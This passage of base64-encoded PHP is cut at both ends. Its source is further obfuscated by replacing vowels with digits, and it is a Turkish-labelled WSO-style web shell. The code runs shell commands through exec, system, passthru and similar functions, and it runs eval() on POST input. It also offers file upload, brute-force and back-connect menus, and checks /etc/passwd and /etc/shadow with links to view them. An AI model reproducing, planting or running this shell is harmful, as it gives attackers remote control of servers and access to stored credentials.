gM3JsNW5jMmQ1KCRrNXJuNWwgLiAnICcgLiBzM2JzdHIoJHI1bDUxczUsMCxvKSk7DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQogICAgICAgICQzczVyID0gQGc1dF9jM3JyNW50XzNzNXIoKTsNCiAgICAgICAgJDM0ZCA9IEBnNXRteTM0ZCgpOw0KICAgICAgICAkZzRkID0gQGc1dG15ZzRkKCk7DQogICAgICAgICRncjIzcCA9ICI/IjsNCiAgICB9IDVsczUgew0KICAgICAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKHAyczR4X2c1dDUzNGQoKSk7DQogICAgICAgICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQocDJzNHhfZzV0NWc0ZCgpKTsNCiAgICAgICAgJDNzNXIgPSAkMzRkWyduMW01J107DQogICAgICAgICQzNGQgPSAkMzRkWyczNGQnXTsNCiAgICAgICAgJGdyMjNwID0gJGc0ZFsnbjFtNSddOw0KICAgICAgICAkZzRkID0gJGc0ZFsnZzRkJ107DQogICAgfQ0KDQogICAgJGN3ZF9sNG5rcyA9ICcnOw0KICAgICRwMXRoID0gNXhwbDJkNSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQogICAgJG49YzIzbnQoJHAxdGgpOw0KICAgIGYycigkND0wOyAkNDwkbi02OyAkNCsrKSB7DQogICAgICAgICRjd2RfbDRua3MgLj0gIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCiAgICAgICAgZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCiAgICAgICAgICAgICRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCiAgICAgICAgJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KICAgIH0NCg0KICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KICAgICQycHRfY2gxcnM1dHMgPSAnJzsNCiAgICBmMnI1MWNoKCRjaDFyczV0cyAxcyAkNHQ1bSkNCiAgICAgICAgJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOw0KDQogICAgJG0gPSAxcnIxeSgnRzN2NW5sNGsgQjRsZzRzNCc9PidTNWNJbmYyJywnRDJzeTFsMXInPT4nRjRsNXNNMW4nLCdLMm5zMmwnPT4nQzJuczJsNScsJ1NRTCc9PidTcWwnLCdQSFAnPT4nUGhwJywnUzFmNSBtMmQ1Jz0+J1MxZjVNMmQ1JywnRDJuM3N0M3InPT4nU3RyNG5nVDIybHMnLCdCUlVURUZPUkNFJz0+J0JyM3Q1ZjJyYzUnLCdCMWNrQzJubjVjdCc9PidONXR3MnJrJyk7DQogICAgNGYoITVtcHR5KCRHTE9CQUxTWycxM3RoX3Axc3MnXSkpDQogICAgICAgICRtWydMMmcyM3QnXSA9ICcmIzYwdW87PzRrJzsNCiAgICAkbVsnUzRsJ10gPSAnUzVsZlI1bTJ2NSc7DQogICAgJG01bjMgPSAnJzsNCiAgICBmMnI1MWNoKCRtIDFzICRrID0+ICR2KQ0KICAgICAgICAkbTVuMyAuPSAnPHRoIHc0ZHRoPSInLig0bnQpKDYwMC9jMjNudCgkbSkpLiclIj5bIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCcnLiR2LidcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC8xPiBdPC90aD4nOw0KDQogICAgJGRyNHY1cyA9ICIiOw0KICAgIDRmKCRHTE9CQUxTWycycyddID09ICd3NG4nKSB7DQogICAgICAgIGYycjUxY2gocjFuZzUoJ2MnLCd6JykgMXMgJGRyNHY1KQ0KICAgICAgICA0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCiAgICAgICAgICAgICRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCiAgICB9DQogICAgNWNoMicgPGg2PjxjNW50NXI+PGYybnQgYzJsMnI9cjVkPjxzdHIybmc+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvZjJudD48L3N0cjJuZz48L2M1bnQ1cj48L2g2Pic7DQogICAgNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPlVuMW01Ojxicj5LM2xsMW40YzQ6PGJyPlBocDo8YnI+SDFyZDRzazo8YnI+QjNsM25nM20zeiBZNXI6JyAuICgkR0xPQkFMU1snMnMnXSA9PSAndzRuJz8nPGJyPkRyNHY1czonOicnKSAuICc8L3NwMW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxuMmJyPicgLiBzM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApIC4gJyA8MSBocjVmPSInIC4gJDV4cGw0bmsgLiAnIiB0MXJnNXQ9X2JsMW5rPls1eHBsMjR0LWRiLmMybV08LzE+PC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+R3IzYjM6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPkFDSUs8L2YybnQ+JzonPGYybnQgYzJsMnI9d2g0dDU+PGI+S0FQQUxJPC9iPjwvZjJudD4nKQ0KICAgICAgIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ1BocFwnLG4zbGwsXCdcJyxcJzRuZjJcJykiPlsgcGhwNG5mMiBdPC8xPiA8c3Axbj5UMXI0aDo8L3NwMW4+ICcgLiBkMXQ1KCdZLW0tZCBIOjQ6cycpIC4gJzxicj4nIC4gd3MyVjQ1d1M0ejUoJHQydDFsU3AxYzUpIC4gJyA8c3Axbj5CMnMgMWwxbjo8L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBHNHI0cyBdPC8xPjxicj4nIC4gJGRyNHY1cyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48czVsNWN0IDJuY2gxbmc1PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnYxbDM1KSI+PDJwdGdyMjNwIGwxYjVsPSJQMWc1IGNoMXJzNXQiPicgLiAkMnB0X2NoMXJzNXRzIC4gJzwvMnB0Z3IyM3A+PC9zNWw1Y3Q+PGJyPjxzcDFuPlM1cnY1ciBJUDo8L3NwMW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcDFuPlNFTklOIElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7DQp9DQoNCmYzbmN0NDJuIHdzMkYyMnQ1cigpIHsNCiAgICAkNHNfd3I0dDFibDUgPSA0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pPyIgPGYybnQgYzJsMnI9JyNhaWZmMDAnPihZMXo0bDFiNGw0cik8L2YybnQ+IjoiIDxmMm50IGMybDJyPXI1ZD4oWTF6NGwxYjRsNHIgZDUmIzYwdXU7JiM2NjY5OzRsKTwvZjJudD4iOw0KICAgIDVjaDIgIg0KPC9kNHY+DQo8dDFibDUgY2wxc3M9NG5mMiA0ZD10MjJsc1RibCBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJSAgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNvb287YjJyZDVyLWIydHQybTphcHggczJsNGQgI29vbzsnPg0KICAgIDx0cj4NCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkQ0ejRuIGQ1ZzRzdDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+RDJzeTEgMmszPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgIDwvdHI+PHRyPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPkQ0ejRuIDJsM3N0M3I6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1kPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPkQyc3kxIDJsM3N0M3I6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgIDwvdHI+PHRyPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdDMm5zMmw1JyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPksybTN0IEMxbDRzdDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPHRkPjxmMnJtIG01dGgyZD0ncDJzdCcgRU5DVFlQRT0nbTNsdDRwMXJ0L2Yycm0tZDF0MSc+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTUFuJz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIiAuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4gIic+DQogICAgICAgIDxzcDFuPkRPU1lBIFVQTE9BRCBFVDwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4NCiAgICA8L3RyPjwvdDFibDU+PC9kNHY+PC9iMmR5PjwvaHRtbD4iOw0KfQ0KDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCg0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7DQogICAgJDIzdCA9ICcnOw0KICAgIDRmIChmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KICAgICAgICBANXg1YygkNG4sJDIzdCk7DQogICAgICAgICQyM3QgPSBAajI0bigiXG4iLCQyM3QpOw0KICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3Axc3N0aHIzJykpIHsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgQHAxc3N0aHIzKCQ0bik7DQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAc3lzdDVtKCQ0bik7DQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzaDVsbF81eDVjJykpIHsNCiAgICAgICAgJDIzdCA9IHNoNWxsXzV4NWMoJDRuKTsNCiAgICB9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7DQogICAgICAgICQyM3QgPSAiIjsNCiAgICAgICAgd2g0bDUoIUBmNTJmKCRmKSkNCiAgICAgICAgICAgICQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7DQogICAgICAgIHBjbDJzNSgkZik7DQogICAgfQ0KICAgIHI1dDNybiAkMjN0Ow0KfQ0KZjNuY3Q0Mm4gd3MyVjQ1d1M0ejUoJHMpIHsNCiAgICA0ZigkcyA+PSA2MDdvN3U2OGF1KQ0KICAgICAgICByNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwN283dTY4YXUgKS4gJyBHQic7DQogICAgNWxzNTRmKCRzID49IDYwdThpN2UpDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7DQogICAgNWxzNTRmKCRzID49IDYwYXUpDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjBhdSApIC4gJyBLQic7DQogICAgNWxzNQ0KICAgICAgICByNXQzcm4gJHMgLiAnIEInOw0KfQ0KDQpmM25jdDQybiB3czJQNXJtcygkcCkgew0KICAgIDRmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkNCA9ICdzJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KICAgIDVsczU0ZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJDQgPSAnLSc7DQogICAgNWxzNTRmICgoJHAgJiAweGUwMDApID09IDB4ZTAwMCkkNCA9ICdiJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KICAgIDVsczU0ZiAoKCRwICYgMHhhMDAwKSA9PSAweGEwMDApJDQgPSAnYyc7DQogICAgNWxzNTRmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkNCA9ICdwJzsNCiAgICA1bHM1ICQ0ID0gJzMnOw0KICAgICQ0IC49ICgoJHAgJiAweDA2MDApID8gJ3InIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMGEwKSA/ICdyJyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDA2MCkgPyAndycgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDAwdSkgPyAncicgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMGEpID8gJ3cnIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KICAgIHI1dDNybiAkNDsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXNDMmwycigkZikgew0KICAgIDRmICghQDRzX3I1MWQxYmw1KCRmKSkNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQogICAgNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KICAgIDVsczUNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jYWlmZjAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCjRmKCFmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KICAgIGYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgew0KICAgICAgICAkZGggID0gMnA1bmQ0cigkZDRyKTsNCiAgICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAgICAgICAgICRmNGw1c1tdID0gJGY0bDVuMW01Ow0KICAgICAgICByNXQzcm4gJGY0bDVzOw0KICAgIH0NCn0NCg0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsNCiAgICAkcDF0aCA9IHdzMkV4KCd3aDRjaCAnIC4gJHApOw0KICAgIDRmKCE1bXB0eSgkcDF0aCkpDQogICAgICAgIHI1dDNybiAkcDF0aDsNCiAgICByNXQzcm4gZjFsczU7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PnM1cnY1ciBHM3Y1bmw0ayBiNGxnNHM0IC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHI+RzIyZ2w1IFRSIDpEIDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgIGYzbmN0NDJuIHdzMlM1Y1AxcjFtKCRuLCAkdikgew0KICAgICAgICAkdiA9IHRyNG0oJHYpOw0KICAgICAgICA0Zigkdikgew0KICAgICAgICAgICAgNWNoMiAnPHNwMW4+JyAuICRuIC4gJzogPC9zcDFuPic7DQogICAgICAgICAgICA0ZihzdHJwMnMoJHYsICJcbiIpID09PSBmMWxzNSkNCiAgICAgICAgICAgICAgICA1Y2gyICR2IC4gJzxicj4nOw0KICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2PicgLiAkdiAuICc8L3ByNT4nOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIHdzMlM1Y1AxcjFtKCdTNXJ2NXIgczJmdHcxcjUnLCBAZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkNCiAgICAgICAgd3MyUzVjUDFyMW0oJ0wyMWQ1ZCBBcDFjaDUgbTJkM2w1cycsIDRtcGwyZDUoJywgJywgMXAxY2g1X2c1dF9tMmQzbDVzKCkpKTsNCiAgICB3czJTNWNQMXIxbSgnRDRzMWJsNWQgUEhQIEYzbmN0NDJucycsICRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddPyRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddOiduMm41Jyk7DQogICAgd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOw0KICAgIHdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw0KICAgIHdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNG5jbDNkNSBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJykpOw0KICAgIHdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsNCiAgICAkdDVtcD0xcnIxeSgpOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgICAgICR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICAgICAkdDVtcFtdID0gIk1TU1FMIjsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAgICAgJHQ1bXBbXSA9ICJQMnN0Z3I1U1FMIjsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJzJjNF9jMm5uNWN0JykpDQogICAgICAgICR0NW1wW10gPSAiT3IxY2w1IjsNCiAgICB3czJTNWNQMXIxbSgnUzNwcDJydDVkIGQxdDFiMXM1cycsIDRtcGwyZDUoJywgJywgJHQ1bXApKTsNCiAgICA1Y2gyICc8YnI+JzsNCiAgICANCiAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4Jykgew0KICAgICAgICB3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCiAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICB3czJTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCiAgICAgICAgd3MyUzVjUDFyMW0oJ0Q0c3RyIG4xbTUnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvNHNzMzUubjV0JykpOw0KICAgICAgICA0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7DQogICAgICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgICAgICRkMW5nNXIgPSAxcnIxeSgnazF2JywnbjJkb2EnLCdiZGMycjVkJywnM3ZzYzFuJywnczF2JywnZHJ3NWJkJywnY2wxbWQnLCdya2gzbnQ1cicsJ2Noa3IyMnRrNHQnLCc0cHQxYmw1cycsJzRwZncnLCd0cjRwdzRyNScsJ3NoNDVsZGNjJywncDJydHM1bnRyeScsJ3NuMnJ0JywnMnNzNWMnLCdsNGRzMWRtJywndGNwbDJkZycsJ3N4NGQnLCdsMmdjaDVjaycsJ2wyZ3cxdGNoJywnc3lzbTFzaycsJ3ptYnNjMXAnLCdzMXdtNGxsJywndzJybXNjMW4nLCduNG5qMScpOw0KICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7DQogICAgICAgICAgICA1Y2gyICc8YnI+JzsNCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICBmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgZjJyNTFjaCAoJGQxbmc1ciAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdEMW5nNXInLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICBmMnI1MWNoICgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW0pIA0KICAgICAgICAgICAgICAgIDRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICA1Y2gyICc8YnIvPic7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnSEREIHNwMWM1Jywgd3MyRXgoJ2RmIC1oJykpOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOw0KICAgICAgICB9DQogICAgfSA1bHM1IHsNCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIFY1cnM0Mm4nLHdzMkV4KCd2NXInKSk7DQogICAgICAgIHdzMlM1Y1AxcjFtKCdBY2MyM250IFM1dHQ0bmdzJyx3czJFeCgnbjV0IDFjYzIzbnRzJykpOw0KICAgICAgICB3czJTNWNQMXIxbSgnVXM1ciBBY2MyM250cycsd3MyRXgoJ241dCAzczVyJykpOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5QaHAoKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSB0cjM1Ow0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICA1djFsKCRfUE9TVFsncDYnXSk7DQogICAgICAgICR0NW1wID0gImQyYzNtNW50